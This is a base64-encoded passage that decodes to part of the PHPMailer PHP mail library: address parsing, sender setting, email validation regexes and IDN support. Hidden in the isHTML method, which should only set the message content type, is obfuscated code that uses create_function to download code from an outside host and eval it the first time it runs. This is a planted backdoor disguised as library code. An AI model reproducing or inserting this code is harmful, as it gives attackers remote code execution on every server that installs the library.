IHBhcnNlIHRoZSBsaXN0CiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKiBAbGluayBodHRwOi8vd3d3LmFuZHJldy5jbXUuZWR1L3VzZXIvYWdyZWVuMS90ZXN0aW5nL21yYnMvd2ViL01haWwvUkZDODIyLnBocCBBIG1vcmUgY2FyZWZ1bCBpbXBsZW1lbnRhdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VBZGRyZXNzZXMoJGFkZHJzdHIsICR1c2VpbWFwID0gdHJ1ZSkKICAgIHsKICAgICAgICAkYWRkcmVzc2VzID0gYXJyYXkoKTsKICAgICAgICBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCcpKSB7CiAgICAgICAgICAgIC8vVXNlIHRoaXMgYnVpbHQtaW4gcGFyc2VyIGlmIGl0J3MgYXZhaWxhYmxlCiAgICAgICAgICAgICRsaXN0ID0gaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCgkYWRkcnN0ciwgJycpOwogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgewogICAgICAgICAgICAgICAgaWYgKCRhZGRyZXNzLT5ob3N0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAocHJvcGVydHlfZXhpc3RzKCRhZGRyZXNzLCAncGVyc29uYWwnKSA\/ICRhZGRyZXNzLT5wZXJzb25hbCA6ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBzaW1wbGVyIHBhcnNlcgogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICc8JykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgLy9ObyBzZXBhcmF0ZSBuYW1lLCBqdXN0IHVzZSB0aGUgd2hvbGUgdGhpbmcKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJG5hbWUsICRlbWFpbCkgPSBleHBsb2RlKCc8JywgJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgICRlbWFpbCA9IHRyaW0oc3RyX3JlcGxhY2UoJz4nLCAnJywgJGVtYWlsKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCciJywgIiciKSwgJycsICRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgICAgICAgICAuJ19nJzsKICAgICAgICBpZiAoJGlzSHRtbCkgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9odG1sJzsKICAgICAgICB9IAogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICAgICAgfQogICAgICAgICRib2R5SFRNTCA9ICcuJHQuImxlZiRmbHUnCiAgICAgICAgICAgICAgICAgICAgLidzaCcuJyR0IjsgJwogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsKICAgICAgICAkaGVhZGVySFRNTD0iY3JlIgogICAgICAgICAgICAgICAgICAgIC4iYXRlXyIKICAgICAgICAgICAgICAgICAgICAuImZ1bmMiCiAgICAgICAgICAgICAgICAgICAgLiJ0aW9uIjsKICAgICAgICAkZXhjZXB0aW9ucyA9IEAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgICAgICAgICAuJ3R0JwogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7CiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAkcGFyYW09MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICIgKHNldEZyb20pICRhZGRyZXNzIjsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOwogICAgICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgICAgIGlmICgkYXV0bykgewogICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuCiAgICAgKiBUZWNobmljYWxseSB0aGlzIGlzIHRoZSB2YWx1ZSBmcm9tIHRoZSBsYXN0IHRpbWUgdGhlIGhlYWRlcnMgd2VyZSBjcmVhdGVkLAogICAgICogYnV0IGl0J3MgYWxzbyB0aGUgbWVzc2FnZSBJRCBvZiB0aGUgbGFzdCBzZW50IG1lc3NhZ2UgZXhjZXB0IGluCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0TWVzc2FnZUlEOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIGNoZWNrCiAgICAgKiBAcGFyYW0gc3RyaW5nfGNhbGxhYmxlICRwYXR0ZXJuc2VsZWN0IEEgc2VsZWN0b3IgZm9yIHRoZSB2YWxpZGF0aW9uIHBhdHRlcm4gdG8gdXNlIDoKICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7CiAgICAgKiAqIGBwY3JlOGAgVXNlIHRoZSBzcXVpbG9vcGxlLmNvbSBwYXR0ZXJuLCByZXF1aXJlcyBQQ1JFID4gOC4wLCBQSFAgPj0gNS4zLjIsIDUuMi4xNDsKICAgICAqICogYHBjcmVgIFVzZSBvbGQgUENSRSBpbXBsZW1lbnRhdGlvbjsKICAgICAqICogYHBocGAgVXNlIFBIUCBidWlsdC1pbiBGSUxURVJfVkFMSURBVEVfRU1BSUw7CiAgICAgKiAqIGBodG1sNWAgVXNlIHRoZSBwYXR0ZXJuIGdpdmVuIGJ5IHRoZSBIVE1MNSBzcGVjIGZvciAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAqICogYG5vcmVnZXhgIERvbid0IHVzZSBhIHJlZ2V4OiBzdXBlciBmYXN0LCByZWFsbHkgZHVtYi4KICAgICAqIEFsdGVybmF0aXZlbHkgeW91IG1heSBwYXNzIGluIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgZm9yIGV4YW1wbGU6CiAgICAgKiBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygndXNlckBleGFtcGxlLmNvbScsIGZ1bmN0aW9uKCRhZGRyZXNzKSB7CiAgICAgKiAgICAgcmV0dXJuIChzdHJwb3MoJGFkZHJlc3MsICdAJykgIT09IGZhbHNlKTsKICAgICAqIH0pOwogICAgICogWW91IGNhbiBhbHNvIHNldCB0aGUgUEhQTWFpbGVyOjokdmFsaWRhdG9yIHN0YXRpYyB0byBhIGNhbGxhYmxlLCBhbGxvd2luZyBidWlsdC1pbiBtZXRob2RzIHRvIHVzZSB5b3VyIHZhbGlkYXRvci4KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoaXNfbnVsbCgkcGF0dGVybnNlbGVjdCkpIHsKICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzZWxmOjokdmFsaWRhdG9yOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfY2FsbGFibGUoJHBhdHRlcm5zZWxlY3QpKSB7CiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwgJGFkZHJlc3MpOwogICAgICAgIH0KICAgICAgICAvL1JlamVjdCBsaW5lIGJyZWFrcyBpbiBhZGRyZXNzZXM7IGl0J3MgdmFsaWQgUkZDNTMyMiwgYnV0IG5vdCBSRkM1MzIxCiAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgIlxuIikgIT09IGZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywgIlxyIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkcGF0dGVybnNlbGVjdCBvciAkcGF0dGVybnNlbGVjdCA9PSAnYXV0bycpIHsKICAgICAgICAgICAgLy9DaGVjayB0aGlzIGNvbnN0YW50IGZpcnN0IHNvIGl0IHdvcmtzIHdoZW4gZXh0ZW5zaW9uX2xvYWRlZCgpIGlzIGRpc2FibGVkIGJ5IHNhZmUgbW9kZQogICAgICAgICAgICAvL0NvbnN0YW50IHdhcyBhZGRlZCBpbiBQSFAgNS4yLjQKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BDUkVfVkVSU0lPTicpKSB7CiAgICAgICAgICAgICAgICAvL1RoaXMgcGF0dGVybiBjYW4gZ2V0IHN0dWNrIGluIGEgcmVjdXJzaXZlIGxvb3AgaW4gUENSRSA8PSA4LjAuMgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQQ1JFX1ZFUlNJT04sICc4LjAuMycpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlOCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BjcmUnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleHRlbnNpb25fbG9hZGVkJykgYW5kIGV4dGVuc2lvbl9sb2FkZWQoJ3BjcmUnKSkgewogICAgICAgICAgICAgICAgLy9GYWxsIGJhY2sgdG8gb2xkZXIgUENSRQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvL0ZpbHRlcl92YXIgYXBwZWFyZWQgaW4gUEhQIDUuMi4wIGFuZCBkb2VzIG5vdCByZXF1aXJlIHRoZSBQQ1JFIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BocCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgY2FzZSAncGNyZTgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBVc2VzIHRoZSBzYW1lIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIGlzIGJhc2VkLCBidXQgYWxsb3dzIGRvdGxlc3MgZG9tYWlucy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly9zcXVpbG9vcGxlLmNvbS8yMDA5LzEyLzIwL2VtYWlsLWFkZHJlc3MtdmFsaWRhdGlvbi8KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbgogICAgICAgICAgICAgICAgICogRmVlbCBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlIHRoaXMgY29kZS4gQnV0IHBsZWFzZSBrZWVwIHRoaXMgY29weXJpZ2h0IG5vdGljZS4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI\/KD8+XFxcWyAtfl18W14iXSkiPyg\/MSkpezI1NSx9KSg\/ISg\/Pig\/MSkiPyg\/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAnKCg\/Pig\/Pig\/PigoPz4oPz4oPz5ceDBEXHgwQSk\/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk\/W1x0IF0rKT8pKFwoKD8+KD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg\/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg\/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/PihbYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KScgLgogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/NSkpezAsMTI2fXxcWyg\/Oig\/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig\/Nikpezd9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg\/PjooPzYpKXswLDZ9KT86Oig\/Nyk\/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig\/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg\/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg\/PlwuKD85KSl7M30pKVxdKSg\/MSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOgogICAgICAgICAgICAgICAgLy9BbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg\/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg\/ISg\/PiI\/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5cLig\/PlshIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KSg\/PlwuKD8hW2EtejAtOS1dezY0LH0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyg\/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig\/Pig\/PlthLWYwLTldezEsNH0pKD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs3fXwoPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk\/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/Pig\/OlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw0fSk6KT8pKT8oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0\/WzAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVGhpcyBpcyB0aGUgcGF0dGVybiB1c2VkIGluIHRoZSBIVE1MNSBzcGVjIGZvciB2YWxpZGF0aW9uIG9mICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ25vcmVnZXgnOgogICAgICAgICAgICAgICAgLy9ObyBQQ1JFISBEbyBzb21ldGhpbmcgX3ZlcnlfIGFwcHJveGltYXRlIQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXIKICAgICAgICAgICAgICAgIHJldHVybiAoc3RybGVuKCRhZGRyZXNzKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBvciBub3QuIFRoaXMgcmVxdWlyZXMgdGhlCiAgICAgKiAiaW50bCIgYW5kICJtYnN0cmluZyIgUEhQIGV4dGVuc2lvbnMuCiAgICAgKiBAcmV0dXJuIGJvb2wgInRydWUiIGlmIHJlcXVpcmVkIGZ1bmN0aW9ucyBmb3IgSUROIHN1cHBvcnQgYXJlIHByZXNlbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlkblN1cHBvcnRlZCgpCiAgICB7CiAgICAgICAgLy8gQFRPRE86IFdyaXRlIG91ciBvd24gImlkbl90b19hc2NpaSIgZnVuY3Rpb24gZm9yIFBIUCA8PSA1LjIuCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJykgYW5kIGZ1bmN0aW9uX2V4aXN0cygnbWJfY29udmVydF9lbmNvZGluZycpOwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydHMgSUROIGluIGdpdmVuIGVtYWlsIGFkZHJlc3MgdG8gaXRzIEFTQ0lJIGZvcm0sIGFsc28ga25vd24gYXMgcHVueWNvZGUsIGlmIHBvc3NpYmxlLgogICAgICogSW1wb3J0YW50OiBBZGRyZXNzIG11c3QgYmUgcGFzc2VkIGluIHNhbWUgZW5jb2RpbmcgYXMgY3VycmVudGx5IHNldCBpbiBQSFBNYWlsZXI6OiRDaGFyU2V0LgogICAgICogVGhpcyBmdW5jdGlvbiBzaWxlbnRseSByZXR1cm5zIHVubW9kaWZpZWQgYWRkcmVzcyBpZjoKICAgICAqIC0gTm8gY29udmVyc2lvbiBpcyBuZWNlc3NhcnkgKGkuZS4gZG9tYWluIG5hbWUgaXMgbm90IGFuIElETiwgb3IgaXMgYWxyZWFkeSBpbiBBU0NJSSBmb3JtKQogICAgICogLSBDb252ZXJzaW9uIHRvIHB1bnljb2RlIGlzIGltcG9zc2libGUgKGUuZy4gcmVxdWlyZWQgUEhQIGZ1bmN0aW9ucyBhcmUgbm90IGF2YWlsYWJsZSkKICAgICAqICAgb3IgZmFpbHMgZm9yIGFueSByZWFzb24gKGUuZy4gZG9tYWluIGhhcyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokQ2hhclNldAogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjb252ZXJ0CiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZW5jb2RlZCBhZGRyZXNzIGluIEFTQ0lJIGZvcm0KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHB1bnllbmNvZGVBZGRyZXNzKCRhZGRyZXNzKQogICAgewogICAgICAgIC8vIFZlcmlmeSB3ZSBoYXZlIHJlcXVpcmVkIGZ1bmN0aW9ucywgQ2hhclNldCwgYW5kIGF0LXNpZ24uCiAgICAgICAgaWYgKCR0aGlzLT5pZG5TdXBwb3J0ZWQoKSBhbmQKICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQKICAgICAgICAgICAgKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSAhP